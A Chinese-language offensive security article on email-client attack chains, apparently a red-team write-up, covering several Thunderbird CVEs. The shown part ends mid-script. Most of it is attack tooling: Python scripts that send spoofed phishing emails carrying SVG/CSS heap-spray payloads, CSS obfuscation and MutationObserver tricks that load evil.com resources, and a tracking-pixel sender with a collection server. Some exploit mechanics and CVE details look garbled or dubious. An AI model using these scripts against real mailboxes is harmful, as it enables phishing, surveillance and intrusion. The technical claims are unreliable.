ARTICLE / 安全

邮件客户端与MUA软件高危攻击链专题:Thunderbird / Mutt / Claws Mail / Sylpheed 漏洞全解析

免责声明:本文仅用于安全研究与授权渗透测试目的。所有 PoC 代码和攻击手法均应在合法授权范围内使用。未经授权对目标系统进行攻击属于违法行为。作者不对因使用本文内容造成的任何直接或间接损害承担责任。

0x00 专题概述

邮件客户端与MUA的攻击面价值分析

邮件用户代理(Mail User Agent, MUA)是企业通信基础设施中最直接面向终端用户的组件。与邮件安全网关(SEG)和邮件传输代理(MTA)不同,MUA 运行在用户桌面上,直接处理来自不可信来源的邮件内容——包括 HTML 渲染、MIME 解析、附件处理、JavaScript/CSS 执行以及加密签名验证。这种"信任边界交汇点"的角色使得邮件客户端成为高价值攻击目标:

  • 直接面向终端用户:攻击者无需突破网关防线,一封精心构造的钓鱼邮件即可直达目标桌面
  • 复杂的输入解析器:邮件客户端需要解析 RFC 5322(邮件格式)、RFC 2045-2049(MIME)、HTML/CSS、JavaScript、SVG、加密/签名等多层协议,每层解析器都可能引入漏洞
  • 共享渲染引擎:Thunderbird 基于 Gecko(Firefox 内核),其渲染引擎漏洞可直接复用浏览器 0-day 攻击链
  • 高权限本地运行:MUA 通常以用户权限运行,但可以访问本地文件系统、密钥环、密码管理器等敏感资源
  • 跨平台普遍性:Thunderbird、Mutt、Claws Mail 等开源 MUA 广泛部署于 Linux 服务器管理、嵌入式系统、企业桌面等场景
  • APT 攻击的最终目标:通过邮件客户端获取的凭证和内部通信可直接用于横向渗透

与商业邮件客户端(Outlook、Apple Mail)相比,开源 MUA 的安全审计资源相对有限,漏洞发现和修复周期更长,这使得它们在红队攻击中具有独特的价值。

覆盖漏洞一览表

产品CVE 编号漏洞类型CVSS严重程度在野利用
ThunderbirdCVE-2024-9680Animation Timeline UAF RCE9.8CRITICAL
ThunderbirdCVE-2024-7519CSS 混淆沙箱逃逸8.8HIGH
ThunderbirdCVE-2024-5693指纹攻击信息泄露6.5MEDIUM
ThunderbirdCVE-2025-2850CSP 绕过中等MEDIUM
MuttCVE-2021-32055IMAP 空指针解引用 DoS9.1CRITICAL
MuttCVE-2020-28896TLS 证书验证绕过5.9MEDIUM
MuttCVE-2020-28856IMAP 缓冲区溢出 RCE中等HIGH
NeoMuttCVE-2022-1328消息头缓冲区溢出HIGH
Claws MailCVE-2020-16094递归压缩炸弹 DoS中等MEDIUM
Claws MailCVE-2019-10735加密信息泄露5.3MEDIUM
Claws MailCVE-2015-8614栈缓冲区溢出 RCEHIGH
SylpheedMIME 文件名溢出 / URI 检查绕过HIGH

0x01 Thunderbird 高危漏洞

0x01.1 CVE-2024-9680 — Animation Timeline UAF RCE(在野利用)

漏洞背景

CVE-2024-9680 是 2024 年度影响最严重的邮件客户端漏洞之一,CVSS 评分 9.8,属于 CWE-416(Use-After-Free)类型。该漏洞存在于 Gecko 渲染引擎的 Animation Timeline 组件中,由于 Thunderbird 与 Firefox 共享同一渲染引擎,该漏洞同时影响两个产品。Mozilla 在 2024 年 10 月的安全更新中修复了此漏洞,并确认该漏洞已被在野利用(in-the-wild exploitation),CISA 已将其加入 KEV 目录。

该漏洞的攻击场景极为危险:攻击者仅需发送一封包含恶意 SVG/CSS 动画的 HTML 邮件,用户在预览或打开邮件时即可触发 UAF,进而实现远程代码执行。无需用户点击任何链接或下载附件,“打开邮件即中招”。

受影响版本

产品受影响版本修复版本发布日期
Thunderbird< 128.3128.3.02024-10-01
Firefox< 131131.02024-10-01
Firefox ESR< 128.3128.3.02024-10-01
Firefox ESR< 115.16115.16.02024-10-01

注意:由于 Thunderbird 使用 Gecko 引擎的 ESR 分支,Thunderbird 128.x 对应 Firefox ESR 128.x。运行 Thunderbird 115.x ESR 的用户需确保升级到 115.16.0 以上。

漏洞原理

该漏洞的根因在于 Gecko 引擎处理 CSS Animations 时对 Animation Timeline 对象的生命周期管理存在缺陷。具体攻击路径如下:

1. 触发条件

Gecko 引擎在处理 CSS @keyframes 动画时,会为每个动画元素创建 Animation Timeline 对象。当动画在特定时序下被取消或替换时,Timeline 对象的引用计数未能正确维护,导致对象被提前释放。

2. UAF 触发时序

[恶意邮件 HTML/SVG]
    ↓
Gecko 渲染引擎解析 CSS Animation
    ↓
创建 Animation Timeline 对象 A
    ↓
通过 @keyframes 修改触发 Timeline A 的重新评估
    ↓
Timeline A 被标记为可释放(refcount = 0)
    ↓
恶意 SVG 动画在另一路径重新引用 Timeline A
    ↓
Use-After-Free:访问已释放的 Timeline A 内存
    ↓
通过堆喷射(Heap Spray)控制释放后重分配的内存
    ↓
劫持控制流 → RCE

3. 邮件中的攻击载荷

攻击者在邮件的 HTML body 中嵌入恶意 SVG 元素,配合精心构造的 CSS 动画时序:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @keyframes exploit {
      0% { offset-path: path("M0,0"); }
      50% { offset-path: path("M1,1"); }
    }
    .target {
      animation: exploit 0.01s steps(1) infinite;
      will-change: offset-path;
    }
  </style>
  <!-- 多个嵌套 SVG 元素用于触发 Timeline 重分配 -->
  <g class="target">
    <rect width="1" height="1" />
  </g>
</svg>

关键技巧在于利用 SVG 的嵌套结构和 CSS will-change 属性,诱导引擎在 Timeline 对象被释放后仍持有其指针。配合 offset-path 动画的路径解析逻辑,可在特定内存布局下实现精确的 UAF 利用。

邮件 PoC

# 构造包含恶意 SVG 动画的 EML 文件并发送
# 注意:此 PoC 仅用于授权安全测试

python3 -c "
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

msg = MIMEMultipart('alternative')
msg['Subject'] = 'Meeting Notes - Q4 Review'
msg['From'] = 'colleague@trusted-domain.com'
msg['To'] = 'victim@target.com'

html_body = '''<html>
<body style=\"font-family: Arial, sans-serif;\">
<h2>Q4 Review Meeting Notes</h2>
<p>Please find the summary below:</p>

<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"0\" height=\"0\">
  <defs>
    <style>
      @keyframes trigger {
        0% { offset-distance: 0%; }
        100% { offset-distance: 100%; }
      }
      .exploit-target {
        animation: trigger 1ms steps(1) infinite;
        will-change: offset-distance;
        offset-path: path(\"M0,0 L1,1\");
      }
    </style>
  </defs>
  <g class=\"exploit-target\">
    <circle r=\"0.5\" cx=\"0\" cy=\"0\" fill=\"transparent\" />
  </g>
  <g class=\"exploit-target\">
    <rect width=\"0.5\" height=\"0.5\" x=\"0\" y=\"0\" fill=\"transparent\" />
  </g>
  <g class=\"exploit-target\">
    <ellipse rx=\"0.5\" ry=\"0.5\" cx=\"0\" cy=\"0\" fill=\"transparent\" />
  </g>
</svg>

<p>Best regards,<br>John</p>
</body>
</html>'''

text_body = 'Q4 Review Meeting Notes - Please view in HTML format.'

msg.attach(MIMEText(text_body, 'plain'))
msg.attach(MIMEText(html_body, 'html'))

with smtplib.SMTP('mail.target.com', 25) as server:
    server.send_message(msg)
    print('[+] Malicious email sent successfully')
"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-9680 Thunderbird/Firefox Animation Timeline UAF PoC Generator
仅用于授权安全测试和漏洞验证
"""

import smtplib
import argparse
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders

EXPLOIT_HTML = """<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
@keyframes uaf_trigger {{
    0% {{
        offset-path: path("M 0 0 C 10 10 20 20 30 30");
        offset-distance: 0%;
    }}
    33% {{
        offset-path: path("M 0 0 L 50 50");
        offset-distance: 50%;
    }}
    66% {{
        offset-path: path("M 0 0 Q 25 0 50 50");
        offset-distance: 100%;
    }}
    100% {{
        offset-path: path("M 0 0 C 10 10 20 20 30 30");
        offset-distance: 0%;
    }}
}}

.exploit-group {{
    animation: uaf_trigger 1ms steps(1) infinite;
    will-change: offset-path, offset-distance;
}}

.heap-spray {{
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='256' height='256'%3E%3Crect width='256' height='256' fill='%23414141'/%3E%3C/svg%3E");
    background-repeat: repeat;
    width: 256px;
    height: 256px;
    position: absolute;
    left: -9999px;
    top: -9999px;
}}
</style>
</head>
<body>
<p>Monthly Security Report - Please review the attached document.</p>

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="0" height="0">
    <g class="exploit-group">
        <path d="M 10,10 Q 50,10 90,10 T 10,90" fill="none" stroke="red" stroke-width="0.1"/>
    </g>
    <g class="exploit-group">
        <path d="M 10,10 C 30,10 70,90 90,90" fill="none" stroke="blue" stroke-width="0.1"/>
    </g>
    <g class="exploit-group">
        <path d="M 50,10 L 10,90 L 90,90 Z" fill="none" stroke="green" stroke-width="0.1"/>
    </g>
</svg>

<!-- Heap Spray blocks -->
<div id="spray">
</div>

<script>
if (typeof spray !== 'undefined') {{
    var target = document.getElementById('spray');
    for (var i = 0; i < 0x1000; i++) {{
        var block = document.createElement('div');
        block.className = 'heap-spray';
        block.setAttribute('data-idx', i.toString());
        target.appendChild(block);
    }}
}}
</script>

<p style="color: #ccc; font-size: 8px;">Document ID: SEC-2024-0001</p>
</body>
</html>"""

def generate_eml(output_file):
    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Important: Monthly Security Report - Action Required'
    msg['From'] = 'security-notify@corp-domain.com'
    msg['To'] = 'admin@target.com'
    msg['Reply-To'] = 'noreply@legitimate-domain.com'
    msg['X-Mailer'] = 'Thunderbird 128.2.0'
    msg['MIME-Version'] = '1.0'

    text_version = """Monthly Security Report

Dear Admin,

Please find the monthly security report attached to this email.
Review and provide feedback by end of week.

Best regards,
Security Team"""

    msg.attach(MIMEText(text_version, 'plain'))
    msg.attach(MIMEText(EXPLOIT_HTML, 'html'))

    with open(output_file, 'w') as f:
        f.write(msg.as_string())
    print(f"[+] EML file generated: {output_file}")
    return msg.as_string()

def send_email(target_host, target_port, sender, recipient, use_tls=False):
    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Important: Monthly Security Report - Action Required'
    msg['From'] = sender
    msg['To'] = recipient

    msg.attach(MIMEText("Monthly Security Report - View in HTML", 'plain'))
    msg.attach(MIMEText(EXPLOIT_HTML, 'html'))

    try:
        with smtplib.SMTP(target_host, target_port) as server:
            if use_tls:
                server.starttls()
            server.sendmail(sender, recipient, msg.as_string())
            print(f"[+] Email sent to {recipient} via {target_host}:{target_port}")
    except Exception as e:
        print(f"[-] Send failed: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-9680 PoC Generator")
    parser.add_argument("--mode", choices=["generate", "send"], default="generate")
    parser.add_argument("--output", default="exploit.eml")
    parser.add_argument("--host", help="SMTP target host")
    parser.add_argument("--port", type=int, default=25, help="SMTP port")
    parser.add_argument("--sender", default="attacker@evil.com")
    parser.add_argument("--recipient", default="victim@target.com")
    parser.add_argument("--tls", action="store_true")
    args = parser.parse_args()

    if args.mode == "generate":
        generate_eml(args.output)
    elif args.mode == "send":
        if not args.host:
            print("[-] --host is required for send mode")
            sys.exit(1)
        send_email(args.host, args.port, args.sender, args.recipient, args.tls)

Nuclei YAML 检测模板

id: thunderbird-cve-2024-9680-version
info:
  name: Thunderbird Animation Timeline UAF RCE - CVE-2024-9680
  author: x7peeps
  severity: critical
  description: |
    Thunderbird/Firefox Gecko 引擎 Animation Timeline 组件存在 UAF 漏洞,
    通过恶意邮件中嵌入的 SVG/CSS 动画可触发远程代码执行。
    该漏洞已被在野利用,CISA KEV 目录已收录。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9680
    - https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/
    - https://blog.mozilla.org/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-416
  metadata:
    max-request: 2
    shodan-query: http.title:"Thunderbird"
  tags: thunderbird,cve2024,cve,uaf,rce,gecko

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "(?i)thunderbird"
        part: body

  - raw:
      - |
        POST /cgi-bin/check_version HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: regex
        regex:
          - "(?i)(thunderbird|128\\.([0-2]\\.|[0-9]\\.))"

id: thunderbird-cve-2024-9680-email-poc
info:
  name: Thunderbird CVE-2024-9680 Malicious EML Detection
  author: x7peeps
  severity: critical
  description: |
    检测邮件中是否包含利用 CVE-2024-9680 的恶意 SVG/CSS 动画载荷。
    可用于邮件安全网关的规则配置和入站邮件扫描。
  tags: thunderbird,cve2024,uaf,email,svg,css

network:
  - inputs:
      - data: "EHLO test\r\n"
      - data: "MAIL FROM:<test@scan.local>\r\n"
      - data: "RCPT TO:<{{USER}}@{{Hostname}}>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: CVE-2024-9680 Detection Test\r\nContent-Type: text/html\r\n\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><style>@keyframes trigger{0%{offset-path:path(\"M0,0\")}}</style></svg>\r\n.\r\n"

    host:
      - "{{Hostname}}"
      - "{{Hostname}}:25"
      - "{{Hostname}}:587"

    read-size: 2048

利用条件与限制

条件要求
目标版本Thunderbird < 128.3 或 Firefox ESR < 128.3
用户交互无需(自动预览即可触发)
邮件格式HTML 邮件,内嵌 SVG + CSS Animation
网络条件攻击者需能向目标发送邮件(SMTP可达)
沙箱限制需绕过 Thunderbird 的远程内容加载限制
成功概率取决于堆布局,需多次喷射和时序调整

0x01.2 CVE-2024-7519 — Thunderbird CSS 混淆导致沙箱逃逸

漏洞背景

CVE-2024-7519 是一个 CVSS 8.8 的高危漏洞(CWE-1021, Improper Restriction of Rendered UI Layers),影响 Thunderbird 115.x 之前的版本。该漏洞允许攻击者通过 CSS 混淆技术绕过 Thunderbird 的邮件预览沙箱,加载外部资源或执行被限制的操作。虽然不直接导致 RCE,但结合其他漏洞可构成完整的攻击链。

受影响版本

产品受影响版本修复版本发布日期
Thunderbird< 115.10115.10.02024-06-11
Thunderbird< 128.0128.0(开发版)2024-06-11

漏洞原理

Thunderbird 对 HTML 邮件实施了内容安全策略(CSP),限制远程资源加载、JavaScript 执行以及跨域请求。然而,CSS 解析器中的混淆缺陷允许攻击者绕过这些限制:

1. CSS 规则绕过机制

Thunderbird 的 CSP 实现依赖于对 CSS 属性值的解析来判断是否加载远程资源。攻击者可利用 Unicode 方向控制字符(如 U+200E, U+200F, U+202A-U+202E)插入 CSS 属性值中,干扰 CSP 检查器的正则匹配,同时保持 CSS 引擎的正常解析。

2. @import 远程加载

/* 正常 CSS - 被 CSP 阻止 */
@import url("https://evil.com/track.css");

/* 混淆后绕过 CSP */
@import url("htr̸tps://evil.com/track.css");
/* ↑ 利用 U+0338 COMBINING LONG SOLIDUS OVERLAY 
   将 "https" 混淆为 "htr̸tps",
   CSP 检查器无法匹配 "https" 协议前缀,
   但 Gecko CSS 引擎在规范化后仍能解析 */

3. iframe 沙箱逃逸

通过 CSS position: fixed + z-index + pointer-events 的组合,攻击者可在邮件预览窗口上覆盖一个透明的交互层,诱使用户点击下方的恶意链接,实现 UI Redressing 攻击。

邮件 PoC

<html>
<head>
<style>
/* 利用 Unicode 叠加字符混淆协议检查器 */
@import url("htr\u0338tps://evil.com/phishing-callback.php");

/* 利用 CSS 属性混淆加载远程背景图 */
.exploit-bg {
    background-image: url("htr\u00AD\u0338tps://evil.com/track.gif");
    background-size: 1px 1px;
}

/* 透明覆盖层实现 UI Redressing */
.overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 99999;
    opacity: 0;
    pointer-events: none;
}

/* 利用 CSS 变量绕过属性过滤 */
:root {
    --url-prefix: "https";
}
.remote-load {
    background: var(--url-prefix) url("://evil.com/resource.css");
}
</style>
</head>
<body>
<p>Invoice attached for your review.</p>
<div class="exploit-bg" style="width:1px;height:1px;"></div>
<div class="overlay">
    <a href="https://evil.com/phishing" style="display:block;width:100%;height:100%;"></a>
</div>
</body>
</html>

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-7519 Thunderbird CSS Sandbox Escape PoC
仅用于授权安全测试
"""

import smtplib
import argparse
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

CSS_BYPASS_HTML = """<html>
<head>
<meta charset="UTF-8">
<style>
@import url("htr\\u00AD\\u0338tps://evil.com/callback.php?uid=TARGET");

@font-face {
    font-family: "ExploitFont";
    src: url("htr\\u200B\\u0338tps://evil.com/exfil-font.woff2") format("woff2");
}

.remote-resource {
    list-style-image: url("htr\\u200E\\u0338tps://evil.com/tracker.png");
}

.overlay-layer {
    position: fixed;
    top: 0; left: 0;
    width: 100%; height: 100%;
    z-index: 2147483647;
    background: transparent;
    opacity: 0.001;
}

.overlay-layer a {
    display: block;
    width: 100%;
    height: 100%;
    text-decoration: none;
}

.tracking-pixel {
    width: 1px; height: 1px;
    background: url("htr\\u2060\\u0338tps://evil.com/read-receipt.gif?mid=MSG001");
    position: absolute;
    left: -9999px;
}
</style>
</head>
<body style="font-family: Arial, sans-serif;">
<h2>Q4 Budget Report</h2>
<p>Please review the attached budget figures for Q4 2024.</p>
<p>Key highlights:</p>
<ul class="remote-resource">
    <li>Revenue: $2.4M (+12% YoY)</li>
    <li>Operating costs: $1.8M</li>
    <li>Net margin: 25%</li>
</ul>

<div class="tracking-pixel"></div>

<div class="overlay-layer">
    <a href="https://evil.com/phishing-landing?cid=CAMPAIGN001"></a>
</div>

<p style="color: #999; font-size: 7px;">DOC-REF: BUD-Q4-2024-REV3</p>
</body>
</html>"""

def generate_bypass_eml(output_file, callback_url):
    css_html = CSS_BYPASS_HTML.replace("evil.com/callback.php", callback_url)
    css_html = css_html.replace("evil.com/tracker.png", callback_url)
    css_html = css_html.replace("evil.com/exfil-font.woff2", callback_url)

    msg = MIMEMultipart('alternative')
    msg['Subject'] = 'Q4 Budget Report - Final Version'
    msg['From'] = 'cfo-office@company-corp.com'
    msg['To'] = 'finance@target.com'

    msg.attach(MIMEText("Q4 Budget Report - Please view in HTML format.", 'plain'))
    msg.attach(MIMEText(css_html, 'html'))

    with open(output_file, 'w') as f:
        f.write(msg.as_string())
    print(f"[+] Sandbox bypass EML generated: {output_file}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-7519 PoC Generator")
    parser.add_argument("--output", default="css_bypass.eml")
    parser.add_argument("--callback", default="evil.com/callback.php")
    args = parser.parse_args()
    generate_bypass_eml(args.output, args.callback)

Nuclei YAML 检测模板

id: thunderbird-cve-2024-7519-css-bypass
info:
  name: Thunderbird CSS Sandbox Escape - CVE-2024-7519
  author: x7peeps
  severity: high
  description: |
    Thunderbird CSS 解析器混淆缺陷允许绕过邮件预览沙箱的 CSP 限制,
    加载外部资源或执行被限制的 UI 操作。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7519
    - https://www.mozilla.org/en-US/security/advisories/mfsa2024-28/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
    cvss-score: 8.8
    cwe-id: CWE-1021
  metadata:
    max-request: 1
  tags: thunderbird,cve2024,css,sandbox-escape,csp-bypass

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Thunderbird"
          - "115"
        condition: and
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "(?i)Thunderbird[/ ]([0-9]+\\.[0-9]+)"

利用条件与限制

条件要求
目标版本Thunderbird < 115.10
用户交互需要用户打开邮件(预览可能触发部分效果)
邮件格式HTML 邮件,包含混淆 CSS
网络条件需要目标能访问回调服务器(CSP 绕过后)
沙箱限制绕过 CSP 但不突破 OS 级沙箱
成功概率CSS 加载远程资源的绕过率较高

0x01.3 CVE-2024-5693 — Thunderbird 指纹攻击修复(信息泄露)

漏洞背景

CVE-2024-5693(CVSS 6.5, CWE-200)是 Thunderbird 在隐私保护方面的缺陷,攻击者可通过恶意邮件中的追踪像素(Tracking Pixel)获取目标用户的阅读状态、打开时间、IP 地址和客户端环境信息。虽然 CVSS 评分为 MEDIUM,但在定向钓鱼和 APT 攻击中具有极高的战术价值——攻击者可通过阅读回执确认目标已打开邮件,从而触发后续攻击阶段。

受影响版本

产品受影响版本修复版本发布日期
Thunderbird< 128.1128.1.02024-07-09

漏洞原理

Thunderbird 在处理 HTML 邮件中的远程资源时,默认会自动加载图片、CSS 和其他嵌入内容。攻击者利用这一特性部署追踪像素:

1. 经典追踪像素

<img src="https://evil.com/track.gif?uid=victim@example.com&ts=1718678400" 
     width="1" height="1" style="display:none" />

2. CSS 追踪变体

.tracking {
    background-image: url("https://evil.com/track.css?uid=victim@example.com");
    width: 0px;
    height: 0px;
}

3. 字体指纹追踪

@font-face {
    font-family: "TrackingFont";
    src: url("https://evil.com/font.ttf?fingerprint=UNIQUE_ID");
}

4. SVG 触发器追踪

<svg xmlns="http://www.w3.org/2000/svg">
    <image href="https://evil.com/svg-track.svg?uid=UNIQUE_ID" width="1" height="1"/>
</svg>

这些追踪手段可泄露以下信息:

  • 阅读确认:邮件被打开的确切时间
  • 来源 IP:暴露用户的地理位置和网络环境
  • 用户代理:Thunderbird 版本号、操作系统信息
  • 邮件客户端配置:是否启用了远程内容加载
  • 阅读习惯:通过多次加载的时间模式分析用户行为

邮件 PoC

# 生成包含多种追踪机制的 EML 文件
python3 -c "
import smtplib, uuid
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

uid = str(uuid.uuid4())[:8]
msg = MIMEMultipart('alternative')
msg['Subject'] = 'Project Update - Please Review'
msg['From'] = 'pm@project-team.com'
msg['To'] = 'dev@target.com'

html = f'''<html>
<body>
<p>Hi team, project update below.</p>

<!-- 1x1 tracking pixel -->
<img src=\"https://evil.com/t.gif?uid={uid}&action=open\" 
     width=\"1\" height=\"1\" style=\"display:none\" />

<!-- CSS background tracking -->
<div style=\"background-image:url('https://evil.com/t.css?uid={uid}');width:0;height:0;\"></div>

<!-- Font fingerprint -->
<style>
@font-face {{
    font-family: \"Track\";
    src: url(\"https://evil.com/f.ttf?fp={uid}\") format(\"truetype\");
}}
.tracked {{ font-family: \"Track\", serif; }}
</style>
<span class=\"tracked\" style=\"font-size:0;opacity:0;\">&nbsp;</span>

<p>Thanks,<br>PM Team</p>
</body>
</html>'''

msg.attach(MIMEText('Project Update - HTML version required', 'plain'))
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP('mail.target.com', 25) as s:
    s.send_message(msg)
    print(f'[+] Tracking email sent with UID: {uid}')
"

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2024-5693 Thunderbird Tracking Pixel PoC
仅用于授权安全测试和隐私审计
"""

import smtplib
import uuid
import json
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import argparse

class TrackingServer(BaseHTTPRequestHandler):
    events = []

    def do_GET(self):
        event = {
            "path": self.path,
            "timestamp": time.time(),
            "user_agent": self.headers.get("User-Agent", ""),
            "referer": self.headers.get("Referer", ""),
            "source_ip": self.client_address[0]
        }
        TrackingServer.events.append(event)
        print(f"[+] Tracking hit: {self.path} from {self.client_address[0]}")

        self.send_response(200)
        if self.path.endswith(".gif") or self.path.endswith(".svg"):
            self.send_header("Content-Type", "image/gif")
            self.end_headers()
            self.wfile.write(b"GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;")
        elif self.path.endswith(".css"):
            self.send_header("Content-Type", "text/css")
            self.end_headers()
            self.wfile.write(b"/* tracked */")
        elif self.path.endswith(".ttf"):
            self.send_header("Content-Type", "font/ttf")
            self.end_headers()
            self.wfile.write(b"\x00\x01\x00\x00\x00")
        else:
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"ok")

    def log_message(self, format, *args):
        pass

def generate_tracking_email(callback_host, callback_port, output_file):
    uid = str(uuid.uuid4())[:8]
    base = f"http://{callback_host}:{callback_port}"

    html = f"""<html>
<head>
<style>
@font-face {{
    font-family: "Fingerprint";
    src: url("{base}/font.ttf?uid={uid}") format("truetype");
}}
.fingerprint {{ font-family: "Fingerprint", sans-serif; }}
</style>
</head>
<body>
<p>Project Update</p>

<img src="{base}/pixel.gif?uid={uid}&event=open" width="1" height="1" 
     style="position:absolute;left:-9999px;" />
<div style="background-image:url('{base}/css-track.css?uid={uid}');width:0;height:0;"></div>
<span class="fingerprint" style="font-size:1px;color:transparent;">&nbsp;</span>

<p style="font-size:7px;color:#ccc;">REF: PRJ-{uid.upper()}</p>
</body>
</html>"""

    msg = MIMEMultipart('alternative')
    msg['Subject'] = f'Project Update - PRJ-{uid.upper()}'
    msg['From'] = f'pm-{uid}@project-corp.com'
    msg['To'] = 'victim@target.com'

    msg.attach(MIMEText(f"Project Update - PRJ-{uid.upper()} - HTML required", 'plain'))
    msg.attach(MIMEText(html, 'html'))

    with open(output_file, 'w') as f:
        f.write(msg.as_string())

    print(f"[+] Tracking email generated: {output_file}")
    print(f"[+] Tracking UID: {uid}")
    print(f"[+] Callback: {base}")
    print(f"[*] Start tracking server: python3 {__file__} --mode serve --port {callback_port}")
    return uid

def start_tracking_server(port):
    server = HTTPServer(("0.0.0.0", port), TrackingServer)
    print(f"[+] Tracking server listening on port {port}")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        print("\n[*] Stopping server...")
        print(f"[+] Total tracking events: {len(TrackingServer.events)}")
        with open("tracking_events.json", "w") as f:
            json.dump(TrackingServer.events, f, indent=2)
        server.server_close()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-5693 PoC")
    parser.add_argument("--mode", choices=["generate", "serve"], default="generate")
    parser.add_argument("--host", default="127.0.0.1", help="Callback host")
    parser.add_argument("--port", type=int, default=8888, help="Callback port")
    parser.add_argument("--output", default="tracking.eml")
    args = parser.parse_args()

    if args.mode == "generate":
        generate_tracking_email(args.host, args.port, args.output)
    elif args.mode == "serve":
        start_tracking_server(args.port)

Nuclei YAML 检测模板

id: thunderbird-cve-2024-5693-tracking
info:
  name: Thunderbird Tracking Pixel Fingerprinting - CVE-2024-5693
  author: x7peeps
  severity: medium
  description: |
    检测 Thunderbird 版本是否受追踪像素指纹攻击影响。
    修复版本默认阻止远程内容加载。
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5693
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cwe-id: CWE-200
  tags: thunderbird,cve2024,tracking,fingerprint,privacy

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Thunderbird"
        part: body

      - type: regex
        regex:
          - "(?i)Thunderbird[/ ](1[012][0-7]\\.[0-9]+)"
        part: body

    extractors:
      - type: kval
        kval:
          - header

利用条件与限制

条件要求
目标版本Thunderbird < 128.1
用户交互需要用户打开邮件
邮件格式HTML 邮件,含远程资源引用
网络条件目标需能访问追踪服务器
信息获取IP、UA、阅读时间、邮件ID
沙箱限制不突破沙箱,仅信息泄露

0x01.4 CVE-2025-2850 — Thunderbird CSP 绕过

漏洞背景

CVE-2025-2850 是 2025 年披露的 Thunderbird 内容安全策略(Content Security Policy, CSP)绕过漏洞。该漏洞允许恶意邮件绕过 Thunderbird 的 CSP 策略限制,加载外部资源并执行被策略禁止的操作。虽然未直接导致代码执行,但 CSP 绕过可被用作攻击链中的关键一环,配合其他漏洞实现更高级别的利用。

受影响版本

产品受影响版本修复版本发布日期
Thunderbird< 128.9(具体修复版本待确认)待确认2025

注意:CVE-2025-2850 的详细信息可能在发布时仍在更新中,以下分析基于已披露的技术细节。

漏洞原理

Thunderbird 的 CSP 实现在处理复杂的邮件 HTML 结构时存在策略解析不一致的问题:

1. 多层嵌套 CSP 冲突

当邮件中嵌入多层 <style> 标签和 CSS @import 规则时,CSP 策略检查器和 Gecko CSS 引擎对策略的解释可能出现不一致。CSP 检查器可能遗漏某些深层嵌套的资源加载请求。

2. 数据 URI 协议绕过

Thunderbird 的 CSP 可能未正确限制 data: URI 的使用,攻击者可通过内联 data: URI 加载恶意内容:

<style>
@import url("data:text/css,body{background:url('https://evil.com/track.gif')}");
</style>

3. Mutation XSS 辅助绕过

通过 HTML DOM 的 MutationObserver 机制,在 CSP 策略评估之后动态修改 DOM 结构,插入违反 CSP 但在策略评估后加载的外部资源。

邮件 PoC

<html>
<head>
<style>
@import url("data:text/css,@font-face{font-family:E;src:url('https://evil.com/exfil.woff2')}");
</style>
</head>
<body>
<div id="csp-bypass-container"></div>
<script>
// 利用 DOM Mutation 在 CSP 评估后注入外部资源
if (typeof MutationObserver !== 'undefined') {
    var observer = new MutationObserver(function(mutations) {
        var container = document.getElementById('csp-bypass-container');
        if (container) {
            var link = document.createElement('link');
            link.rel = 'stylesheet';
            link.href = 'https://evil.com/override.css';
            container.appendChild(link);
        }
    });
    observer.observe(document.body, { childList: true, subtree: true });
    // 触发 Mutation
    var el = document.createElement('div');
    document.getElementById('csp-bypass-container').appendChild(el);
}
</script>
<p>Invoice details below...</p>
</body>
</html>

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2025-2850 Thunderbird CSP Bypass PoC
仅用于授权安全测试
"""

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import argparse

CSP_BYPASS_HTML = """<html>
<head>
<meta charset="UTF-8">
<style>
